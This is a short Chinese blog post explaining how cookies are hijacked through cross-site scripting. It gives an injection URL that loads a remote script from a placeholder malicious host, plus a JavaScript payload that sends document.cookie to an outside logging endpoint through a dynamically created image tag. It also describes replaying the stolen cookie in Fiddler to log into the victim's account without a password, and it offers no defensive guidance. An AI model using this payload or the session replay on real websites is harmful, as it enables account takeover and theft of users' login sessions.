美文网首页程序员
说说劫持 Cookie 的原理

说说劫持 Cookie 的原理

作者: deniro | 来源:发表于2019-04-06 15:34 被阅读31次

    完成具体功能的恶意脚本(javaScript、Flash 等)称为 XSS Payload。黑客会通过这些脚本,来控制用户的浏览器。劫持 Cookie 就是一种 XSS Payload。

    Cookie 中,一般加密存放着当前用户的登陆凭证。如果 Cookie 被劫持,那么黑客就可以不使用密码,直接登陆到用户的账号中。

    1 窃取 Cookie

    首先先在存在 XSS 漏洞的网站,加载一段远程脚本,形如:

    http://www.xxx.com/xxx.html?param="><script src=http://www.malice.com/malice.js></script>
    

    XSS Payload 写在 malice.js 中,这样就可以避免直接在 URL 参数中写入大量的脚本代码。

    malice.js 内容:

    var img = document.createElement("img");
    img.src = "http://xxx.com/log?" + escape(document.cookie);
    document.body.appendChild(img);
    

    escape() 函数可对字符串进行编码,这样就可以在所有的计算机上读取该字符串。

    在此,我们动态创建了一个图片标签,并把 cookie 参数作为对象,发送给后端服务器。

    这样就完成了窃取 Cookie 的整个过程。

    2 利用 Cookie 登陆账户

    一个网站,如果还未登录,一般在右上角有个 “登录” 链接:

    假设已经得到了某个账户的 Cookie 信息,那么就可以在 Fiddler 中,模拟 Get 请求:

    然后就可以成功登陆网站咯:

    相关文章

      网友评论

        本文标题:说说劫持 Cookie 的原理

        本文链接:https://www.haomeiwen.com/subject/jxrriqtx.html